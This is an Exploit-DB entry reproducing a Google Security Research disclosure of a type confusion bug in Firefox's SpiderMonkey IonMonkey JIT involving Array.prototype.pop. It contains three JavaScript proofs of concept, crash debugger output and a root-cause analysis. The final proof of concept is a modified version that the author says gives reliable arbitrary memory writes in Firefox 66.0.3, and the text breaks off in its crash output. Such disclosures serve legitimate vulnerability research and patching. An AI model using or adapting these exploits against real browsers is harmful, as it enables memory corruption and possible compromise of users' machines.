Exploit-DB #47038
Description: Mozilla Spidermonkey - IonMonkey 'Array.prototype.pop' Type Confusion
Type: dos
Platform: multiple
Date: 2019-06-26
Author: Google Security Research

Exploit:
The following program (found through fuzzing and manually modified) crashes Spidermonkey built from the current beta channel and Firefox 66.0.3 (current stable):

    // Run with --no-threads for increased reliability
    const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
    function v7(v8,v9) {
        if (v4.length == 0) {
            v4[3] = {a: 5};
        }

        // pop the last value. IonMonkey will, based on inferred types, conclude that the result
        // will always be an object, which is untrue when  p[0] is fetched here.
        const v11 = v4.pop();

        // Then if will crash here when dereferencing a controlled double value as pointer.
        v11.a;

        // Force JIT compilation.
        for (let v15 = 0; v15 < 10000; v15++) {}
    }

    var p = {};
    p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
    p[0] = -[PII_REDACTED]622089e-06;
    v4.__proto__ = p;

    for (let v31 = 0; v31 < 1000; v31++) {
        v7();
    }

When run, it produces a crash similar to the following:

    * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
        frame #0: 0x000025a3b99b26cb
    ->  0x25a3b99b26cb: cmp    qword ptr [rax], r11
        0x25a3b99b26ce: jne    0x25a3b99b26dd
        0x25a3b99b26d4: cmovne rax, rcx
        0x25a3b99b26d8: jmp    0x25a3b99b26f4
    Target 0: (js) stopped.
    (lldb) reg read rax
         rax = 0x[PII_REDACTED]414141

I haven't thoroughly analyzed bug, but here is roughly what appears to be happening:

* when v4 is created, it will have inferred types for its elements, indicating that they will be JSObjects (this can be seen by running the spidermonkey shell with `INFERFLAGS=full` in the environment)
* in the block following the function definition, v4's prototype is changed to a new object with a double as element 0. This does not change the inferred element types of v4, presumably because these only track own properties/elements and not from prototypes
* v7 is executed a few times and all original elements from v4 are popped
* the element assignment (`v4[3] = ...`) changes the length of the array (to 4) without changing the inferred element types

Afterwards, v7 is (re-)compiled by IonMonkey:
* the call to v4.pop() is inlined by IonMonkey and converted to an MArrayPopShift instruction [1]
* since the inferred element types (JSObjects) match the observed types, no type barrier is emitted [2, 3]
* IonMonkey now assumes that the result of v4.pop() will be an object, thus omits type checks and directly proceed with the property load
* Later, when generating machine code for v4.pop [4], IonMonkey generates a call to the runtime function ArrayPopDense [5]

At execution time of the JITed code, when v4.length is back at 1 (and so the only element left to pop is element 0), the following happens:
* The runtime call to ArrayPopDense is taken
* this calls js::array_pop which in turn proceeds to load p[0] as v4 doesn't have a property with name '0'
* the array pop operation thus returns a double value

However, the JITed code still assumes that it received a JSObject* from the array pop operation and goes on to dereference the value, leading to a crash at an attacker controlled address. It is likely possible to exploit this bug further as type inference issues are generally well exploitable.

To summarize, the problem seems to be that the code handling Array.pop in IonMonkey doesn't take into account that Array.prototype.pop can load an element from the prototype, which could conflict with the array's inferred element types.


Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=1544386


Below is the original sample triggered by my fuzzer:

    // Run with -no-threads --cpu-count=1 --ion-offthread-compile=off --baseline-warmup-threshold=10 --ion-warmup-threshold=100
    let v2 = 0;
    v2 = 7;
    const v4 = [13.37,13.37,13.37,13.37,13.37];
    function v7(v8,v9) {
        const v10 = v2 + v4;
        v4[v10] = Object;
        const v11 = v4.pop();
        for (let v15 = 0; v15 < 100; v15++) {
        }
    }
    v4.__proto__ = Object;
    for (let v19 = 0; v19 < 100; v19++) {
        const v23 = [[PII_REDACTED]000.0,[PII_REDACTED]000.0,[PII_REDACTED]000.0];
        let v24 = Object;
        v24.__proto__ = v23;
        const v26 = String.fromCharCode(v19);
        Object[0] = v26;
    }
    for (let v31 = 0; v31 < 100; v31++) {
        const v32 = v7();
    }


This bug can be exploited in a very similar way to https://bugs.chromium.org/p/project-zero/issues/detail?id=1791 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1810 as they all allow the construction of type confusions between arbitrary objects. The following modification of the PoC achieves fast and reliable memory writes to arbitrary addresses in FireFox 66.0.3:

    // Run with --no-threads for increased reliability
    let ab = new ArrayBuffer(0x1000);

    // Confuse these two types with each other below.
    let x = {buffer: ab, length: 13.39, byteOffset: 13.40, data: 3[PII_REDACTED]9626e-310};
    let y = new Uint32Array(0x1000);

    const v4 = [y, y, y, y, y];
    function v7(v8,v9) {
        if (v4.length == 0) {
            v4[3] = y;
        }

        // pop the last value. IonMonkey will, based on inferred types, conclude that the result
        // will always be an object, which is untrue when p[0] is fetched here.
        const v11 = v4.pop();

        // It will then crash here when writing to a controlled address (0x[PII_REDACTED]41).
        v11[0] = 0x1337;

        // Force JIT compilation.
        for (let v15 = 0; v15 < 10000; v15++) {}
    }

    var p = {};
    p.__proto__ = [y, y, y];
    p[0] = x;
    v4.__proto__ = p;

    for (let v31 = 0; v31 < 1000; v31++) {
        v7();
    }


    /* Crashes as follows in Firefox 66.0.3:

    (lldb) process attach --pid 12534
    ...

    Executable